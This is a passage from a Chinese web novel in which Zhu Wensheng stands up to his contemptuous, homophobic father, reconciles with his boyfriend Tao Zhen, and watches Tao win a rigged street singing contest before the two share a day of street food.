本以为这样就不会再和祝冠清有什么交集了,却没想到中午刚到俱乐部门口, 他就看见了一辆停在路边的劳斯莱斯,车牌号是五个八。 窗户因通风开着, 司机坐在车内前排,后面甚至还坐着一个身材曼妙的年轻女士,此刻正在低着头笑意盈盈地说些什么,年龄看起来就和祝闻声差不多大。 大概是他昙花一现的、名义上的,新小妈。 祝闻声的身体顿时僵住了。 他垂落在身侧的拳牢牢握紧, 几乎下意识地转过身, 立刻就要离开俱乐部, 下一刻,黎旻从监控里看见了他的身影,急匆匆地从俱乐部里走了出来,一脸无奈地喊道:“等等!” 祝闻声深吸了一口气,压抑着怒火站在原地。 黎旻匆匆忙忙地跑到了身侧,也忍不住叹了一口气:“阿声,你知道的,我没办法。你要是今天不出现,他就打算一直坐在这里,我又不好让人把他赶走……” 好歹祝冠清也是祝闻声的亲爸,况且她的俱乐部就在这里,随时都有可能会被找麻烦。 祝闻声也知道这一点,所以并没有为难她。 强压下了心中的各种情绪,他猛地转过身,大步地走进了俱乐部里。 其他的格斗选手们已经被黎旻从专业部遣散到外面了,门一关上,偌大的训练室内便只剩下了他和祝冠清两人。 四周堆放着装修时剩下来的建材和还没用完的工具,惊起一阵满天飞的灰尘。选手们的东西也没收拾好,零零散散地摞在地上,室内看起来一片狼藉。 祝冠清就那样好整以暇地坐在总教练的椅子上,手中把玩着手机,抬眸望向祝闻声,语气里带着十足的挑剔和鄙夷:“这就是你平常待的地方啊?” 从六岁以后,祝闻声见到祝冠清的机会就屈指可数,只有前几年偶尔在祝家二老要求的聚会上碰过面。 记忆中的祝冠清连模样都开始模糊了,可这么一开口,熟悉的打压和嘲讽便扑面而来,没有半点温情的寒暄。 “嗯,”祝闻声面无表情,“有什么事。” “连声人都不叫,一点礼貌都没有,”祝冠清仿佛下意识地忽略了自己也没喊过儿子,脸色变得有些阴沉,重重地拍了一下旁边的桌子,“当然有事,你自己做了什么,心里不清楚吗?!” 做了什么…… 祝闻声沉沉地看了他一眼,语气淡淡的:“我已经想好了,比你要清楚得多。” “哼,还想好了……糊涂!” 祝冠清上下打量了一遍祝闻声,目光中带着点嫌弃,“我怎么没想到你竟然还有走旱路的爱好?堂堂祝家的儿子,给一个男人伏小做低、端茶送水,简直就是歪门邪道,没有一点男人的样子!” 祝闻声的骨节骤然变得极为苍白。 他本来不想开口的,可是忍了又忍,还是反问道:“什么才能算有男人的样子,跟你一样,和秘书勾搭在一起吗?” 被戳中了隐秘的往事,祝冠清的脸色能在一瞬间变得极为难看,几乎是立刻就想冲过来给祝闻声一耳光,但不知道想到了什么,又忍住了。 他重新倚上了靠背,满不在乎地扬起了头:“男人这样不是正常的吗,总比你不清不楚地跟男人勾搭在一起好。看见外面车上坐着的女人了吗?” 祝闻声罕见地露出了厌恶的神色,难以想象他竟然还有脸提。 胃里一阵难以自抑的翻涌,埋藏在记忆最深处、小时候的事情似乎也随之翻腾了上来,绞痛着蚕食着他。 挺着一个大肚子上门、年轻漂亮的秘书哭天抢地地要名分,原本温雅平静的司姝崩溃又震惊,难以置信到差点昏死过去……而这凌乱,疯狂,痛苦的一切,全都来源于管不住自己下半身的祝冠清。 祝闻声看向祝冠清的目光犹如在看死人,冷淡道:“嗯,你的新秘书。” “不,不是我的新秘书,是你的,”祝冠清慢条斯理地站起身,脸上竟然还带上了些许笑意,“没看出来吗?这是我送给你的女人啊。” “……” 巨大的荒谬和愤怒从心底窜了出来,祝闻声有一瞬间怀疑自己听错了,过了两秒才道:“……什么?” “我说,这是我送给你的女人——” 祝冠清拉长尾音,强调了一番:“你想和那个男人在一起,我不反对,但是你要记住,跟他只能玩玩而已;只要你有钱,想要换多少人玩也是一样的。别忘了自己是祝家的儿子,玩可以,但以后不可能和另外一个男人过一辈子,肯定是要跟女人结婚的……” “闭嘴。” 祝闻声幽深的双眸黑沉沉的,既觉得荒谬又觉得可笑:“你自己不觉得恶心吗?你以为所有人都和你一样下贱无耻、朝三暮四?” “和那个女人一起滚出去,以后都别再在我面前出现。” “……你!” 祝冠清脸上的笑容瞬间消失,大约是觉得被祝闻声骂的那几句实在是太驳面子。 他“唰”地一下站起身,冷笑了一声,猛地向祝闻声的方向走了几步:“你以为你自己算什么东西,敢跟我这么猖狂?不让我出现,你有本事连家里的钱也别要!老子以后一分都不留给你!” 闻言,祝闻声的动作微微一顿,低头看向祝冠清,眸色幽深:“……这就是你唯一能威胁我的方式?” 祝冠清没听出他语气中的意思,以为他是被自己吓到了,终于出了一口心中的恶气:“想要继续过好日子、和你那个男朋友在一块,很简单,只要你听我的话,按照我说的,把外面那个女人……” “你的希望恐怕要落空了。” 祝闻声深深地看了他一眼,“爷爷奶奶他们没跟你说吗,我已经什么都不要了。” 不要太子爷的身份,不要那些金光闪闪的头衔,只当格斗选手和陶真的男朋友。 这就是前两天他跟赵钊提起的解决办法。 “……” 什么叫做,什么都不要了? 祝冠清一时愣在原地,过了几秒才反应过来,祝闻声的意思是,他根本不在乎祝家的钱。 可是,这怎么可能呢? 世界上有谁是能不在乎钱的?含着金汤匙出生的人,怎么可能说放下就放下,这可能吗? 花天酒地了那么多年,祝冠清一向认为钱是万能的,从来没有碰见过像今天这样的情况,他有些底气不足地愣在原地,过了片刻才反应过来,输人不输阵:“哦,不要祝家的钱了,意思就是要跟我们割席。” “怎么,是你跟你外公外婆的关系很好,还是你妈联系你了?你以为她有多喜欢你么,她当年把你丢下,一个人出国的时候,你哭的不是很伤心吗?” “一边哭一边抓住她的大腿,求她把你也一起带走,但是她呢?她直接把你……” 祝闻声的下颌渐渐绷紧了。 若是从前听见这些话,他恐怕真的如祝冠清所愿,愤怒也好、悲伤也好……只要是他的痛苦,都是让祝冠清兴奋的佐料。 但今天不知为何,他格外平静,就连听见这些话都没有生气,只是静静地看了祝冠清一眼。 “……” 祝冠清原本还志满意得地等待着祝闻声的反应,却没想到他连一个字也没说,顿时感觉自己一拳砸在了棉花上。 最初的怀疑和愤怒过去,紧接着而来的便是一种难以言喻的恐慌。祝冠清意识到一个相当严峻的问题,祝闻声说的很可能是真的,他是真的什么都不要了。 “……你是真的铁了心要跟他在一起,是吗?”祝冠清张了张唇,有些难以言喻的愤怒,“你怎么能去搞同性恋!你是我唯一的儿子,你想要祝家绝后吗?!” 祝闻声依然一言不发。 “你不能这样!儿子……我跟你说真的,”祝冠清真的慌了,“你要为了他放弃那么多吗?就为了一个男人?” “你怎么能不结婚不生孩子呢?这样……我不要你和那个女人在一起了,你继续和你喜欢的人在一块,就是一定要给我们抱个孩子回来行不行?爸就这一个要求!真的!” 刚刚还一副猖狂得意的模样,如今涉及到自己的脸面了,祝冠清终于露出了几分慌张,只是这份慌张里依然带着令人厌恶的高高在上。 “抱歉,我和我对象生不了,”祝闻声略有些讥讽地看着他,“你可以自己生。” “……” 没有生育能力是祝冠清这辈子最难以启齿的逆鳞,如今被自己的亲生儿子这样赤裸裸地摆到了明面上,他几乎在一瞬间暴怒,发了疯似的大骂了起来。 老生常谈的话题,夹杂着肮脏的字眼,祝闻声已经习惯了,几乎不痛不痒。 口袋里的手机响了起来,他拿出来看了一眼联系人,发现是陶真给他打来的电话之后,他的表情才渐渐有了变化。 面前的祝冠清还在滔滔不绝,祝闻声干脆地叱了一声闭嘴,才将电话接了起来。 但是他没想到,接完这通来自陶真的电话,反而让祝冠清找到了反击的机会。 祝冠清发现无论如何骂祝闻声,祝闻声都不会有反应,所以干脆将矛头转移到了陶真的身上,怒骂陶真是个不要脸的狐狸精,是个见钱眼开的婊子。 从头到尾都没生气过的祝闻声终于发了火,整个人的脸色猛地沉了下来,死死盯着祝冠清:“道歉!” 祝冠清当然是不可能道歉的,他甚至还变本加厉,用更难听的话骂了几句。 见祝闻声始终为了一个“外人”向他顶嘴,祝冠清终于忍耐不了了,直接抬起了手,想要像小时候那样给祝闻声一巴掌。 可他忘了,祝闻声已经不再是小时候,也不再是一个人。 这一巴掌还没来得及落下去,便被陶真喝止了。 当时的祝闻声没有时间去思考陶真到底看见、听见了多少,只知道那架外面的爬梯很不牢固——有个工人从上面摔下来过。 他害怕陶真也会出事,所以直接冲了出去。两人挨挨挤挤地抱在一块,仿佛以前忘掉了刚刚发生的一切,可最后祝冠清喊的那两声,又将他彻底拉回了现实 此时此刻,终于还是听见陶真问:“你为了我,到底放弃了什么东西?” 金发少年目光灼灼,仿佛已然看穿了他所有的遮掩,一字一句地说:“你的身份地位,和祝家的泼天富贵么?” ……陶真猜到了。 终于,还是知道了。 祝闻声抿紧了唇,不知如何开口,像是个做了亏心事的小孩子一样低着头。 他本来真的不想让陶真知道这些的。 只要继续能跟陶真在一起,他什么都可以不要,哪怕是旁人梦寐以求的金钱和地位。 那天与赵钊聊天时,他就已经想好了,他没有“真假少爷”的身份可以落实,没有什么正当的理由或借口让陶真原谅自己,那么,最好的办法,就是将自己以前的谎言坐实。 尽管,哪怕,赵钊和全天下都骂他是疯子。 可他就算费尽心机,现在也还是晚了一步。 因为陶真已经知道了这一切。 江姗是他的前车之鉴。她用实际行动告诉他,若是还没有来得及坦白,就被陶真发现的下场。结果一定和她一样,分崩离析也好,卑微祈求也罢……没有人喜欢被欺骗,没有人喜欢被耍。 现在,一切都晚了。 祝闻声深吸了一口气,脸色有些苍白,极为勉强地提了一下唇角:“……是。” 陶真抬眸望向他:“所以,你就是那位传说中的太子爷,Z时代的老板。” 祝闻声闭了闭眼:“是。” “你一直以来都很有钱,比我有钱很多。” “……” “我给你买的第一件衣服,那么花哨,又那么暴发户,你当时其实是因为一点都不喜欢,所以才不想收的吧?” 祝闻声的喉结滚了滚,他几乎不知如何开口,却也不敢再瞒着陶真,哪怕是任何一件细微的小事。 片刻后,他用力闭了闭眼,轻轻地点了点头。 面前的陶真也沉默了,安静地望着他,空气一时间凝滞住。 过了好几秒,在祝闻声像是个在等待行刑的犯人一样站在原地,露出了一副有些惶恐的表情时,陶真终于忍不住,轻轻地叹了一口气,向他走了两步。 祝闻声条件反射地闭上了眼。 他不敢看面前的陶真,不敢想陶真会露出多么失望的表情。 然而下一秒,他却忽然感觉腰间一热。 一道温暖而清香的身体扑了过来,不偏不倚地撞进了他怀里。少年毛茸茸的头发蹭着他的脸颊,潮湿滚烫的唇瓣印在了他的唇上,有点咸涩的泪意。 祝闻声僵硬在原地,几乎有些不可置信地睁大了眼,下一秒就对上了陶真那双清凌凌、乌溜溜的眸子。 “你笨不笨呀祝闻声,”陶真的声音有点微微的哭腔,“明明不喜欢那件衬衫,为什么还要穿?” “你是笨蛋吗?你就是笨蛋!家里那么有钱,干嘛还要费尽心思地倒贴着被我包养?多少人想要你家里的东西都要不过来,你又为什么要放弃?” 三月的春风温暖柔和,和煦灿金的阳光流水般缓缓地淌了下来。 少年的金发凌乱地翘在头顶,巴掌大的白皙小脸挂着点可怜巴巴的泪珠。 祝闻声几乎冰冷的手指渐渐从僵硬中苏醒了过来,轻轻地替他理了理发丝,过了几秒才低声道:“……因为那件衬衫,是你送的啊。” “你想看到我穿,所以我就穿了。” “……” 陶真似哭似笑地攥住祝闻声的衣领,难得露出了一副有些凶巴巴的表情:“我想让你干什么你就干什么?哪里有这样的道理!你就这么相信我,要是我逼着你一定要从格斗和我之间选一个呢?你选什么?” 祝闻声丝毫没有犹豫:“你。” 陶真微怔在原地,过了几秒才抬手抹了一把眼泪:“……不许瞎说!” 祝闻声沉沉地注视着他,语气真挚:“没有瞎说。” 他就是这么想的。 在认识陶真以前,格斗是他生命中最重要的事。可在爱上陶真之后,他的梦想,就已经变成陶真了。 爱和梦想都有优先级,陶真永远是他的第一名。 58 ? 第 58 章 ◎我努力赚钱养你,一辈子都赚钱养你!◎ 祝闻声的目光实在是太过炽烈真诚, 粗糙的指腹也极为滚烫。陶真被盯着看了两秒,感觉自己的整个脸庞都要烧起来了,仓促地挪开了视线。 他胡乱地从祝闻声的怀里跳了下去, 用力吸了吸鼻子,佯装无事发生似的:“好、好吧…我们走了, 时间不早了…该回家了。” 少年脚步轻快地往前走,仿佛很高兴似的,祝闻声却没动, 心中始终摇摇欲坠,目光沉沉地望着陶真, 片刻后才喊住了他:“真宝。” “嗯?” 祝闻声站在原地,声音低低的:“你,不生我的气吗?” 陶真一顿,回过头, 有点不解地“唔”了一声: “生什么气?” 祝闻声垂下眼, 过了两秒才道:“……我骗了你。” 他低着脑袋, 像是条战败的犬,连耳朵都耷拉了下来。 尽管得到了一个蜻蜓点水般的吻, 可他却始终不敢将这个吻解读为陶真已然对之前的所有事既往不咎。 毕竟他和江姗一样,明明早就可以澄清, 却装作无事发生,硬生生地骗了陶真这么久。 陶真张了张唇,转过身向祝闻声走了两步,有些没想到他这么在意这件事。 他本来想将自己下午在那个时代里面看见的一切、想到的一切,都原封不动地跟祝闻声讲, 可临开口前, 又觉得这些话的分量实在是太轻。 想了想, 他干脆闭上了嘴,直接拉起了祝闻声的手腕:“你跟我来。” 祝闻声的身体微微僵住,但还是乖乖地跟在陶真的身后。两人没有打车,步行走出俱乐部门口的这条街,就像一对再普通不过的小情侣一样,漫无目的地顺着繁华热闹的商业街一路往前。 很快,他们在一片人潮汹涌的露天广场处停下。陶真乘出租车过来时看见的巨大背景墙和拼接地板已经被工人们手脚麻利地组装好了。掩盖在墙上的幕布被人扯了下来,露出里面亮眼的花体字。 有几位一身黑衣、胸前挂着工作牌的负责人员正在到处宣发传单,嘴里吆喝着: “大家来看一看啊,我们是江河建筑公司安排举办的街头挑战赛,战胜守擂者的人可以获得三千元奖金,报名当评委的观众们每人可以获得一百元的报酬,限一百位!” “名额很少,先到先到——” 不用辛苦劳动,只是听几首歌就能赚一百元! 这种工作实在是太过吸引人,报名处都已经被排队的人挤得水泄不通,不仅有许多年轻人,甚至连头发花白的阿公阿婆都颤颤巍巍地跑来凑热闹了,场面堪比超市抢鸡蛋。 祝闻声扫了一眼四周的情况,一时有些不明白为什么陶真会将他带来这里。可很快,陶真就带着他越过了人潮。走到了为首的一位工作人员面前:“您好……” 那工作人员的眉宇间有些许不耐烦的神色,头也没抬便道:“报名当评委的在那边。竞选评委是有要求的,要看音乐软件时长,还要和我们签订细则,不是随随便便什么人都能当的……” 陶真认真地听他说完,才点了点头:“好的,谢谢。不过我不是来报名评委的,我是来挑战守擂者的,我该在哪里报名?” ——挑战守擂者? 听见少年清朗的音色,那位工作人员微微一顿,态度立刻就来了一个一百八十度的大转弯,相当热情地抬起头:“您在我这里就可以报名!” “在这里写上您的姓名和年龄以及一些基本信息,我来跟您讲一下挑战的细则,”工作人员将陶真拉到一旁坐下,“您之前有在线下演出比赛的经验吗?” 陶真接过那张信息表,摁开圆珠笔,刚打算填,闻言略微顿了顿:“抱歉,线下演出的经验不太充足。” “那咱们有音乐方面的背景吗?在哪一所音乐学院读书?南音?南传?” “不好意思,我暂时还不是音乐专业的。” 工作人员恍然大悟般应了一声,态度竟然比之前还要热切:“……哦,没关系。那我跟你说一下吧……” 他简单地向陶真介绍了一番挑战规则,就让同事来给他发了一张纸质的号码牌让他贴在身上,自己则走到一边,继续去服务旁边一个来自音乐学院的人了。 陶真抿住唇,没有意识到他为什么是这个态度,只是展开那张规则表认真细致地看了起来。 一直安静跟在他身边的祝闻声终于忍不住开口:“真宝,你真的要参加这个比赛吗?” 建筑公司想要举办音乐街头挑战赛,显然是为了宣传自己的楼盘。他们一定和某家娱乐公司签了合同,和公司推出来的这位守擂者互利共赢。 他们自诩公平,要在群众之间随机邀请一百位大众评委,但事实并不可能真的如大家看见的这样。也就是说,真正前来挑战的草根是很难在他们的安排下获胜的。 更何况…… 祝闻声低声说:“你得被他们所有人盯着唱歌。” 他不是觉得陶真不能赢,只是知道陶真以前最受不了这一点的,哪怕面前有一个人,原本流畅的演出都会变得磕磕绊绊。 可陶真却好像并没有被他所说的话吓到,他抬起头对祝闻声弯了弯眼:“我知道呀。” “阿声,你相信我吗?” 祝闻声的喉结滚了滚,这不是相信不相信的问题,陶真很有可能会被黑幕、被做局、要承担很大的压力,若是万一……脑海中一瞬间闪烁过纷杂无比的思绪,却在垂眸看见少年那双澄澈的杏子眼时顿住了。 他鬼使神差地说:“嗯,我相信。” 陶真像是得到棒棒糖的小孩一样,高高兴兴地笑了起来。 这场街头挑战赛会持续一段时间,今天才是第一天而已,所以被广告吸引来挑战的人并没有很多,一共就八位,现在全都在后台等待。 那一百位大众评委倒是凑满了,不知道到底有多少是真的在现场选出来,有多少是被他们提前内定好的。总之,不一会儿的功夫,露天广场就乌泱泱地坐满了人,舞台上也开了灯,场面颇有些盛大。 主持人带着手牌上场,说了客套话,介绍了比赛规则,就请出了今天的守擂者,并且噼里啪啦地给他套上了一大堆的头衔。 祝闻声在网上搜了一下,发现确有其人。不过这人的履历光鲜亮丽,却是最近这段时间横空出世的,背后到底签约了什么可想而知。 陶真已经是挑战者了,他身为陶真的家属,也没了竞选评委的资格,只能坐在一旁等待着即将的演出。 很快,第一位挑战者,一位大学女生上台。 跟一身名牌、满脸笑容,带着耳返,一副专业歌手做派的守擂者不同,她身上没什么装备,只有一个话筒,略微有些畏畏缩缩,看气场就输了一小截,事实也果然如此,虽然她的功底不错,但是整体的演唱状态实在不佳。相比之下,还是守擂者更胜一筹。 台下的观众们给分毫无悬念。主持人笑容满面的走上去,将参与奖的一百元颁发给了这位女生,又将守擂者天上有地上无地夸了一遍,之后才请出了下一位挑战者。 第二位、第三位、第四位…… 接下来的这几人都和第一位上场的挑战者差不多,发挥算不上太好,所以守擂者赢的毫无悬念。不过等到第五位出现时,祝闻声就发现了些许端倪。 这位挑战者明显比前面的人要从容许多,唱的歌声也格外动听,不说一下子超越守擂者多少,但绝对不落于下风。可尽管这样,守擂者的分数还是达到了惊人的70票。 七比三,这是什么概念?五号选手在分数出来时没忍住沉下了脸,有些生气。 在主持人将奖金发给她、又开始吹捧守擂者时,她没忍住嘟囔了一句:“怎么可能……这票数不对吧?” 声音险些从话筒中传出来,主持人脸色一变,立刻就将她强行“请”了下去,五号选手意识到事情真的不对劲,正有些愤怒地说着些什么,就被工作人员带到了后台。 紧接着上场的六号和七号选手和她的遭遇差不多,两人都还算是挺有实力的学院派,可是票数却总比守擂者要少上那么十几二十票。 选手喊号到最后一位,轮到陶真上场。 祝闻声没忍住站起身,目光中满是忧虑。 他很想开口让陶真下台,不要再比了。 因为这场比赛的评委一定有将近一半是内定好的,所以守擂者保底就有五十票,挑战者想赢过他简直就是天方夜谭。 陶真好不容易才勇敢地踏出了那一步,选择在旁人面前演出,第一次演出的效果就不尽人意,会给以后带来很大的心理阴影。 可惜,他还没来得及开口,就看见台上的陶真抬头,冲他甜甜地笑了一下。 祝闻声瞬间哑然,过了一秒,轻轻地点了一下头。 “最后一位上场的八号挑战者为我们带来的歌曲是《我只在乎你》,让我们用掌声热烈欢迎!” 台下响起了稀稀拉拉的掌声,大部分人到这时候都已经预料到了比赛的结果,懒得抬头,只有少部分人还礼貌性地抬头看了一眼。 这一眼却让她们发现了不对,刚刚漫不经心的几个人突然激动起来,窃窃私语了一阵子,在主持人下台之后,着急忙慌地从口袋中抽出手机,用摄像头对准了陶真。 陶真无暇顾及那些或冷淡或好奇的视线,他只是深吸了一口气,在人群中找到了祝闻声。 时间仿佛在一瞬间慢了下来。 街头人潮如织,露天广场上嘈杂无比,四周的环境极为简陋,陶真只拿着一只最普通的话筒,呢喃细语般低低地唱。 “如果没有遇见你,我将会是在哪里。 日子过得怎么样,人生是否要珍惜。” 祝闻声愣住了,台下也霎时寂静。 少年清朗的声音如涓涓细水般流淌了出来,没有半分滞涩和卡顿,极为温柔,极为梦幻。 普通的观众也好,内定好的评委也罢,都仿佛被蛊惑了一般,屏息凝神地听着少年的歌声。 “任时光匆匆流去,我只在乎你。 心甘情愿感染你的气息。 人生几何能够得到知己, 失去生命的力量也不可惜。” 音乐进入高潮,就连那本该胜券在握的守擂者脸色都阴沉了下来,死死地盯着台上的陶真。 祝闻声却再也无暇顾及到那些怨毒的视线已经陶真是否能赢、是否可以克服心结……他只是有些傻傻地仰着头,安静地听着陶真唱的歌。 他知道,这首歌,是陶真为他一个人唱的。 “所以我求求你, 别让我离开你。 除了你,我不能感到, 一丝丝情意。” “……” 一曲结束,台下才如梦初醒,怔愣两秒以后,响起了雷鸣般的掌声。 然而,台下欢呼着开始计票流程的时候,主持人的脸色渐渐地有些不好看了,他急匆匆地跑下去,指着台上的陶真,又斥责地剜了一眼一旁的负责人:“谁让你们把他弄来的?!不是让你们先问一遍有没有音乐学院的背景吗?有就别让他报名啊!” 那位负责人自知闯了祸,面如死灰,讷讷道:“我、我问过他了,他说他没有啊……” 主持人咬牙切齿:“那现在你怎么解释?要是出了问题我惟你是问!” 负责人不知该如何开口了,一旁一个发传单的助理倒是忍不住了,小声道:“……还能怎么解释,接受呗。本来做票就不对,还有理了。” 虽然他说话的声音并不大,但主持人还是听见了,怒目而视:“你说什么?!是谁给你们开的工资?你们心里没数,让你们做点这些小事都做不好就趁早滚蛋!” 那名年轻的助理看了一下午的黑幕,本来就受不了了,这会儿火气直接窜上了头顶:“老子不要你工资行了吧?小火靠捧、大火靠命,强捧遭他妈天谴!也不看看你们家这位带资进组的大爷有没有这个火的命?” “知道台上的人是谁吗?我刚搜了,他是百万粉丝博主!条条发条条爆!人家才是能火的,你们他妈的算什么东西?” 主持人气得直发抖,立刻就想跟助理拉扯在一块,一旁看了半天热闹的众人赶快上来劝他们:“好了好了!计票结果出来了!有什么事情搞完再说!” 助理骂骂咧咧地走到一旁,主持人也勉强压下了心中的怒火,匆忙接过记录着结果的纸条。 他心中虽然有些慌,可面上看起来还是相当镇定的——他们可是足足找了五十个内定的评委来给守擂者投票,就算剩下来的五十人全部都投陶真,最坏的结果也就是平局而已,不会坏了他们的事…… 然而,在展开纸条的瞬间,主持人脸上的血色消失殆尽,手指有些哆哆嗦嗦。 他的脸色惨白,有些绝望,没忍住喃喃出声:“这…这怎么可能?!” 他光震惊,又不说结果,其余的几个负责人都有些好奇,纷纷凑到他身边看了一眼,忍不住瞪大了眼睛。 三十九票比六十一票。 守擂者是前者,陶真是后者。 “怎么会这样!”主持人要疯了,“都跟他们约好了的!那几个该给我们投票的人为什么没投!” 负责人们面面相觑、说不出话,助理却嗤笑了一声,讥讽道:“良心上过不去了呗,还能是什么原因?” “……” 其实大家都是这么想的,但是没人敢说。 主持人要气晕了,可台上的众人这会已经等了太久,他到底还是被其他人赶鸭子上架似的推上了台,额头上的冷汗还没散去,站在那里吞吞吐吐了一会: “好的,那我们现在来宣布一下,最后一位选手的,比赛情况……” 台下的观众们已经准备好鼓掌欢呼了,唯有祝闻声意识到了什么,脸色微沉,站起身来往台上的方向走。 果然,下一刻,那主持人咬着牙,佯装无事发生似的,挤出了一个灿烂的笑容:“好,那咱们这一场比赛的结果就已经出来了——八号选手三十九票,守擂者小侯六十一票!” “……让我们恭喜守擂者小侯!!” 话音落,台下却没有响起刚刚那般轰鸣的掌声,反而发出了一阵此起彼伏的质疑声。 一个举着手机正在拍摄台上的女孩儿率先反应了过来,大喊了一声:“这不对吧?我们明明觉得是八号选手唱的比较好!” 一声出,百人应,她旁边的女孩儿也立刻附和了起来。一时间,台下竟然爆发了一阵不约而同的抗议。甚至有人大声吼了一句“黑幕”。 台上的陶真也愣住了。 他早就已经意识到这一场街头挑战赛不过是一场彻头彻尾的骗局,他不过是在为他人做嫁衣,但他只是想找个地方给祝闻声唱一首歌,所以也并不在乎最后到底能拿到什么成绩。 可现在,他心中生出了一股难以言喻的期盼,似乎有一股热流涌上了心头。忍不住看向了台下的祝闻声。 两人的视线在空中交汇,时间慢下来,世界也变得极安静。 台下的反抗情绪一波高过一波,所有人都在讨伐他们,而且看起来人高马大的祝闻声也站在不远处等着。主持人脸色苍白,即使绞尽脑汁也想不出挽回的办法,害怕被众人拍到脸,匆匆忙忙地带着计票纸下了台。 不久后,那名原本负责发传单的助理忽然带着被攥得皱巴巴的计票纸冲了上来,直截了当地说:“来来来,大家看我,我来说一下啊,其实八号选手才是真正拿到六十一票的人!” “当然,他本来还能拿到更多的票,不过……” 助理还没说完,就被负责人拉了下去。负责人尴尬地笑了一声:“抱歉啊大家,我们主持人不小心看错了统计结果……获胜者的确是八号选手!” 什么看错了?就是不想让人家赢罢了! 台下响起了一阵骂声,恨不得往台上扔几个臭鸡蛋才好。过了一阵子,鄙夷和怀疑才渐渐平息,底下响起了雷鸣般的掌声,甚至还有人叫了一声好。 陶真也彻底愣在了原地。 他甚至以为自己还在做梦,过了几秒才意识到刚刚发生的一切都是真的。 即使有黑幕,他还是赢了,所有人都在为了他喝彩。 即使是在那么多人的面前,他也没有怯场,没有失败。 他赢了。 事情已成定局,一旁面色扭曲的守擂者摔下话筒、气冲冲地走了。那负责人没办法,只好先维持现场,又因为害怕影响建筑公司的信誉,将约定好的三千元奖金发到了陶真的手上。 陶真本来就险些被他们阴了,所以丝毫不客气地收了下来,跟祝闻声一起穿越过人海,将那一叠现金塞进了他手里,又冲他扬起一个笑脸: “我们一起去吃饭吧?你想吃什么,我请你好不好?” 这条街沿着露天广场和商场,摆满了五花八门的小食摊,都不是什么昂贵的、高大上的餐品,可出锅时也很香,热气腾腾。 祝闻声闭了闭眼,慢吞吞地握住那叠钱,“好。” “可是……” “阿声,我以为,你已经明白我的意思了,”陶真弯起眼,“我不会生你的气,我也不会再跟你分手。” “我知道,从你选择跟我在一起那一刻开始,你就不是为了钱,而只是为了我,喜欢我。” 祝闻声的喉咙有些干涩,片刻后才道:“是。” “那我也跟你一样呀,”陶真笑眯眯地说,“我不是只有有钱的时候才会‘包养’你,不是为了享乐才和你在一起,没钱了,我也会这样做。” “以后,我努力赚钱养你,一辈子都赚钱养你!好不好呀?” 59 ? 第 59 章 ◎难道祝闻声,是真的“不行”了?◎ 四周摊贩推着车, 散发着烟熏雾绕的热气,吆喝声不绝于耳;身旁的行人川流不息,似乎有刚刚在广场上碰见的人跟在他们身后, 拿着手机摄像头对着他们拍摄。 可是祝闻声已经完全没有办法在意了,他只是深深地看了一眼陶真, 用力地抱住了他,好像要将他直接抱紧骨血里,全部都吃下去:“嗯, 好。” 明明很害怕在旁人面前演出的陶真,甘愿为了这三千块钱登上早有黑幕的舞台, 从没想过自己若是一句唱错、输给守擂者的后果。 他不想要陶真的钱。 但他想要,陶真的一辈子。 被抱得实在是太紧,陶真几乎有些喘不过气,任由祝闻声搂了一会, 感觉差不多了, 才拉着他的手, 高高兴兴地去逛街边的小摊。 这种摊贩是陶真童年时候的回忆。那时候他家里不算很有钱,但还是会每天都给他五块零花钱, 他就会和顾行舟佟夏两人一块儿,在放学之后去学校门口的小摊买这些东西吃。哪怕他家以后有钱了, 他的口味却没被养叼,依然对这些垃圾食品情有独钟。 这会手上拿到三千院巨款,陶真更是奢侈了一把,跟祝闻声一块把想吃的摊贩全买了一遍。 祝闻声就跟在他身后,以往从来都不会靠近这种小摊贩的人, 这会也放慢了脚步, 仔仔细细地听着陶真介绍。 “这里的炸臭干跟我家做法不太一样, 他们这儿是有豆芽菜和汤汁的。我小时候学校门口那个爷爷做的不是这样,他直接在铁板上面炸,出锅的时候撒调料粉。那种干子很小,一块钱六个。有一次,我和夏夏子涵他们买了十块钱的干子,坐在那边狂吃,晚上回家之后吃不下饭,差点被我爸揍了一顿。” “现在的烤肠也跟以前不一样了,有好多种选择,什么纯肉肠、辣条肉肠、脆骨肠……我们以前能够选择的就只有一种,最普通的淀粉肠,现在想想味道算不上太好,但是我们大家都很喜欢。因为这玩意不卫生,所以学校老师天天别人说这里面有死老鼠肉,不让我们吃。” “还有这个糖画!这个可是当时的奢侈品,那个爷爷卖得老贵了,一次都要十块钱,我们至少要攒个两三天的零花钱,所以一般来说都是我跟夏夏他们一起拼。不过这样也有不好的地方,就是每次猜拳决定画谁的图案时,我老是输……” 听着陶真一路的絮絮叨叨,祝闻声的目光沉沉地落在他身上,在他提到某一样童年的回忆说,则把那样东西拿出来简单地尝一尝。 炸臭干果然跟陶真说的一样。这里的臭干汤汤水水,放了些剁椒和豆芽,味道不好不坏。烤肠的价格跟祝闻声想象中的不一样,三元一根,五元两根。最后的糖画摊子现在几乎已经销声匿迹,他们绕了这条街一整圈,才在一个角落里面看见支着摊子的爷爷。 爷爷见他们来了,连忙起身问他们要画什么图案,热情地推销着转盘上的十二生肖。陶真以前早就每个都尝过一遍了,所以把选择的权利交到了祝闻声手上。 祝闻声犹豫了一会,却没在这十二生肖当中选择,反而问:“您能帮我写两个字吗?” 那爷爷立刻点头,表示没问题。 最后,祝闻声拿着写着陶真名字的糖画,泰然自若地走在人群里,沿路的人似乎都有些好奇地看。 陶真有点莫名的羞耻,连脸蛋都热了起来,让祝闻声赶快吃完,可祝闻声嘴上应着好,手里却捏得紧紧的。 琥珀色的糖在阳光下熠熠生辉,散发着一股浓浓的甜香。 祝闻声攥着它走了一整路,都舍不得碰,只敢像个拿到珍贵宝物的小孩子一样尝一点点,可很快,糖慢慢地融化,险些顺着竹签滴落到手指上,他害怕浪费,垂下眸将糖画迅速地吃了。 吃完了,就没有了,只剩下一根光秃秃的竹签。 祝闻声忍不住盯着那枚竹签看了几秒,下一刻,面前却忽然出现了一只纤细的小手,替他将竹签扔到了一旁的垃圾桶里。 少年一头蓬乱耀眼的金发,眸光璀璨,笑眯眯地露出小虎牙:“怎么样?是不是觉得有点太腻了?你现在肯定不想碰这玩意了,要是以后想吃的话,我继续给你买。” 祝闻声安静了几秒,心中那股失落的情绪才渐渐地消失,他勾住了陶真的尾指,半晌才“嗯”了一声。 逛到华灯初上,两人才终于回了家。今天一天实在是累的够呛,陶真刚回来连澡都没来得及洗,就已经靠在沙发上睡着了,还是祝闻声替他洗漱完的。 神经紧绷了一整天,自然连手机都没有时间看,还是第二天发现自己又爬上了热搜,陶真才意识到昨天那件事还有后续。 